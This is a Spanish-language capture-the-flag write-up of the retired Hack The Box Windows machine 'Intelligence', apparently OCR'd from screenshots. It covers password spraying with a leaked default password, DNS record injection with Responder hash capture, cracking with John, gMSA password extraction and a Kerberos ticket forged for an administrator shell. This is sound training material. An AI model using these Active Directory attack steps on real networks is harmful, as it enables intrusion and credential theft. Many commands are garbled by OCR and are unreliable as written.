Windows 03 Jul 2021 Medium Retired

1. Enumeracion

Realizamos un PING a la maquina victima para comprobando su TTL. A partir del valor devuelto,
nos podemos hacer una idea del sistema operativo que tiene. En este caso podemos deducir
gue se trata de una maquina Windows.

/home/kali/HTB/intelillence
10.10.10.248
PING 10.10.10.248 (10.10.10.248) 56(84) bytes of data.
64 bytes from 10.10.10.248: icmp_seq=1 ttl=127 time=39.9 ms

— 10.10.10.248 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 39.919/39.919/39.919/0.000 ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes servicios y
versiones asociados.
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Incluimos el nombre del dominio y de maquina en nuestro fichero hosts, por si se aplican virtual
hosting.
/etc/hosts
localhost
kali

10.10.10.248 dc.intelligence.htb intelligence.htb

Dado que tiene el servicio de DNS, intentamos hacer una transferencia de zona pero no
funciona.

/home/kali/HTB/intelillence
10.10.10.248 intelligence.htb axfr

DiG 9.18.8-1-Debian <<>> 10.10.10.248 intelligence.htb axfr
lobal opti

\AIN, id: 30499
» AUTHORITY: 1, ADDITIONAL: 1

rs.net. nstld.verisign-grs.com. 2 0800 1800 900 604800 86400
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/home/kali/HTB/intelillence
= = = .10.10.248

RESOURCE_NAME_NOT_FOUND)

Jhome/kali/HTB/intelillence
1

Ya que tiene el servicio RPC expuesto, intentamos enumerar usuarios sin aportar ninguna
credencial, pero no obtenemos resultado.

/home/kali/HTB/intelillence
rp 1 -U "" -N 10.10.1@.248 -c "enur
result was NT_STATUS_A S55_DENIED

/home/kali/HTB/intelillence
-H ldap .10.11.168 “DC=intelligence,dc=htb”
extended LDIF

c=htb”> with scope subtree

b], WTMLS, HTTPServer[ . Query, Microsoft-II: cript, Title[Inte

2. Analisis de vulnerabilidades
Exploramos con nuestro navegador la web expuesta y vemos dos documentos descargables.

Anouncement Document

-

Other Document

[——

Nos descargamos los ficheros y vemos si encontramos metadatos interesantes.

©Dandy_loco
https://dandyloco.github.io/



/home/kali/HTB/intelillence
/home/kali/Descargas/2020-01-01-upload.pdf
sion Number E 1

: William.Lee

A través del campo “Creator” podemos crear un listado de usuarios. Nos descargamos todos los
ficheros que sigan el mismo patrdn y sacamos la informacién que requerimos.

/home/kali/HTB/intelillence/content

m in {01 d in {e1. i wg h /10.10.10 v u " &>/dev/null

/home/kali/HTB/intelillence/content
.pdf $f ' . n NF) ' users.txt

/home/kali/HTB/intelillence/content
users.txt users2.txt
al lines read: , unique 1i

/home/kali/HTB/intelillence/content
users2.txt users.txt

Intentamos revisar si algun usuario puede ser vulnerable a un ASREPRoast pero no obtenemos
resultados positivos.

/home/kali/HTB/intelillence/content

-htb users.txt
Impac

=

UF_DONT_REQUIRE_PREAUTH
UF_DONT_REQUIRE_PREAUTH
r Jason.Wright doesn't have UF_DONT_REQUIRE_PREAUTH

1ave UF_DONT_REQUIRE_PREAUTH set
UF_DONT_REQUIRE_PREAUTH set
e UF_DONT_REQUIR
e UF_DONT_REQUIRE
UF_DONT_|
e UF_DONT_REQUIR
e UF_DONT_REQUIRE_PREAUTH
e UF_DONT_REQUIRE_PREAI
UF_DONT_REQUIRE_PREAUTH
rdson doesn't UF_DONT_REQUIL
iams doesn't h. UF_DONT_REQUIR REAUT
sn't h UF_DONT_REQUIRE_ AUTH s
sn't h UF_DONT_REQUIRE_PREAUTH s
ker doesn't have UF_DONT_REQUIRE_PREAUTH set
UF_DONT_REQUIRE_PREAUTH s
UF_DONT_REQUIRE_PREAUTH

o

-B do e
itlyn.Zimmerm: ot
EQUIRE
UF_DONT_REQUIRE_PREAUTH
son do e UF_DONT_REQUIRE_PREAUTH set
¥illiamson doesn't e UF_DONT_REQUIRE_PREAUTH
UF_DONT_REQUIRE_PREAUTH set
UF_DONT_REQUIRE_P
e UF_DONT_REQUIRE_
UF_DONT_REQUIRE_PREAUTH set

MWW BANNWGOOANBNGNNGBGOGAWBM@NMNAGNNINGGBGNNO GO

o Y o o o Y it o i e o o o o o o o

Revisamos el contenido de esos PDFs, por si encontramos algo de interesa. Con pdftotext,
transformamos en texto esos pdfs y con cat, los revisamos.

Jhome/kali/HTE/intelillence/content

fin ./*.pdf §f
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Encontramos un fichero interesante, el cual especifica una clave por defecto que tienen los
usuarios al crearse la cuenta.

File: 2020-06-04-upload.txt

Clave: NewlntelligenceCorpUser9876

Con el listado de usuarios obtenidos, vamos a intentar ver si algln usuario tiene aun la clave
por defecto. El usuario Tiffany.Molina aun tiene dicha contrasefia.

kali/HTB/intelillence/content
(+0100) +0.000826 +/- 0.019129 10.10.10.248 s1 no-leap

/home/kali/HTB/intelillence/content
passwordspray users.txt NewIntelligenceCorpUser9876 10.10.10.248 -d intelligence.htb

129 > Using KDC(s):
> 10.10.10

2022/12/10 04:33:30 > Done! Tested 30 logins (1 succe in 0.425 seconds

/home/kali/HTB/intelillence/content

Comprobamos si podriamos ganar acceso a la maquina victima con esas credenciales, pero no
nos lo permite.

/home/kali/HTB/intelillence/content
winrm 10.10.10.248 '"Tiffany.Molina" "NewIntelligenc rpUs ]
10.10.10.248 C Wi 1 8.0 Buil (name:DC) (domain:intelligence.htb)
2 ‘wsman
olina:NewIntelligenceCorpUser9876

3. Movimiento lateral

Ahora que tenemos unas credenciales validas, vamos a intentar de nuevo revisar, los recursos
compartidos con smbmap de forma recursiva.

Mon Apr 19
drz=0==rs @ Mon Apr 19 T
fr—r—r— 1846 Mon Apr 19 5 downdetector.psl

Revisamos su contenido. Parece que recorre todas las entradas DNS que empiezan “web” y hace
una peticion web, pasando ciertas credenciales.
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# Check web server status. Scheduled to run every Smin
Import-Module ActiveDirectory
Jforeach ($record in Gec-ChildItem "2
Jexy {
$request — Invoke-WebRequest -Uri
Jif(.StatusCode —ne Y {
Send-MailMessage -From 'Ted Graves <T
-}

-} caten {}

Vamos a intentar aprovecharnos de ese script, afiadiendo un registro al DNS con la herramienta
dnstool que pertenece al grupo de herramientas krbrelayx.

/home/kali/HTB/intelillence/content
clone https github.com/dirkjanm/krbrelayx
Clonando en ‘krbrelayx’ ...
remote:
remote: )
remote: Compressing objects: 1@¢ 60/60), done.
remote: Total 183 (delta 42), reused 55 (delta 24), pack-reused 98
endo objetos: 100% ( : 114.63 KiB | 1.01 MiB/s, listo.
viendo deltas: 6 (

NewIntelligenceCorpUser9876 10.10.10.248 add -r webserver 10.10.14.19 -t A

/home/../HTB/intelillence/content/krbrelayx
I tune

NBT-NS, LLMNR & MDNS Responder 3.

To support this project:
Patreon — https://wwm.patreon.com/PythonResponder
Paypal — https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

Ahora que hemos conseguido el hash, que pertenece al usuario Ted.Graves, vamos a intentar
conseguir su clave con John

/home/../HTB/intelillence/content/krbrelayx
w=/usr/share/wordlists/rockyou.txt ../hash

Using default input encoding: UTF-8

Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5

Will run 2 OpenMP threads

ss 'q' or Ctrl-

410416c/s 410416C/s Mrz.deltasigma..Mr BOB
1 of the cracked p words reliably

Session completed.

Clave: Mr.Teddy
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4. Escalada de privilegios
Para la escalada de privilegios nos vamos a apoyar sobre bloodhound, para que nos de una via

potencial. Recolectamos la informacidn necesaria con el siguiente comando.

/home/kali/HTB/intelillence/content
"Ted d "Mr. Teddy

o intelligence.htb All zi dc.intelligence.htb 10.1@.10.

container, localadmin, trusts, sion, objectprops, rdp, group, acl, dcom

on from DNS

.htb
ligence.hth

Podemos ver que el usuario Ted.Graves, que pertenece al grupo de IT Support, tiene privilegios
de “ReadGMSAPassword” sobre SVC_INT. Miramos como podemos aprovecharnos de esta
circunstancia.

Info Abuse Info Opsec Considerations References

- "

Finally, it is possible to remotely retrieve the password for the GMSA and convert that
password to its equivalent NT hash, then perform overpass-the-hash to retrieve a
Kerberos ticket for the GMSA:

1. Build GMSAPasswordReader.exe from its source:
https:/fgithub.com/rvazarkarlGMSAPasswordReader

2. Drop GMSAPasswordReader.exe to disk. If using Cobalt Strike, load and run this
binary using execute-assembly

3. Use GMSAPasswordReader.exe to retrieve the NT hash for the GMSA. You may
have more than one NT hash come back, one for the "old" password and one for the
"current” password. It is possible that either value is valid

gmsapasswordreader.exe --accountname gmsa-jkohler

At this noint vou are readv to use the NT hash the same wav von would with a reaular userfl

Como no hemos ganado acceso aun a la maquina victima, vamos a descargarnos una
herramienta alternativa a “gmsapasswordreader.exe”, para poderla ejecutar desde nuestra
maquina de atacante (https://github.com/micahvandeusen/gMSADumper)

fhome/kali/HTB/intelillence/content
clone https: i .com/micahvandeuse umper.git
Clonando en
C Enume

done.
, done.
: d 37 (delta 14),
ibiendo objetos: (46,4 3. iB | 9@29.0¢
Resolviendo deltas: :

Vamos a intentar obtener el hash de la cuenta SCV_INT.
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/home/.../HTB/intelillence/content/gMSADumper
gMSADumper .py Ted. - = .
Users or groups who can read pa
> DC$
> itsupport
svc_int$::

L 1@.18. intelligence.htb

/home/._./HTB/intelillence/content/gMSADumper
'T I o L 1 P 1

/home/../HTB/intelillence/content/gMSADump
get-netcomputer -u "T " —t 10.10.1

01-01 91:00:00

ed Service Accounts,DC=intelligence,DC=htb

.intelligence.htb

Ahora que tenemos el SPN, podemos generar un TGT para el usuario administrador. Es
importante tener el relog de nuestra mdquina sincronizado con la maquina victima (ntpdate -u
10.10.10.248). Usamos la utilidad getST de impacket.

Vemos el fichero generado.

/home/.../HTB/intelillence/content/gMSADumper

root

root git .gitignore

root B __init__.py

root B Administrator.ccache
< root [ coPYING

root [l gMSADumper.py

Seteamos la variable de entorno KRB5CCNAME.

/home/../HTB/intelillence/content/gMSADumper
KRB5CCNAME=Administrator.ccache

Ahora que tenemos el chache file, usando wmiexec, con la opcion -k deberiamos poder lograr
acceder a la maquina victima con los maximos privilegios.

/home/../HTB/intelillence/content/gMSADumper
! iex dc.intelligence.htb -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used

[1] Launching semi-interactive shell - Careful what you execute
[1] Press help for extra shell commands

C:\>whoami

intelligence\administrator
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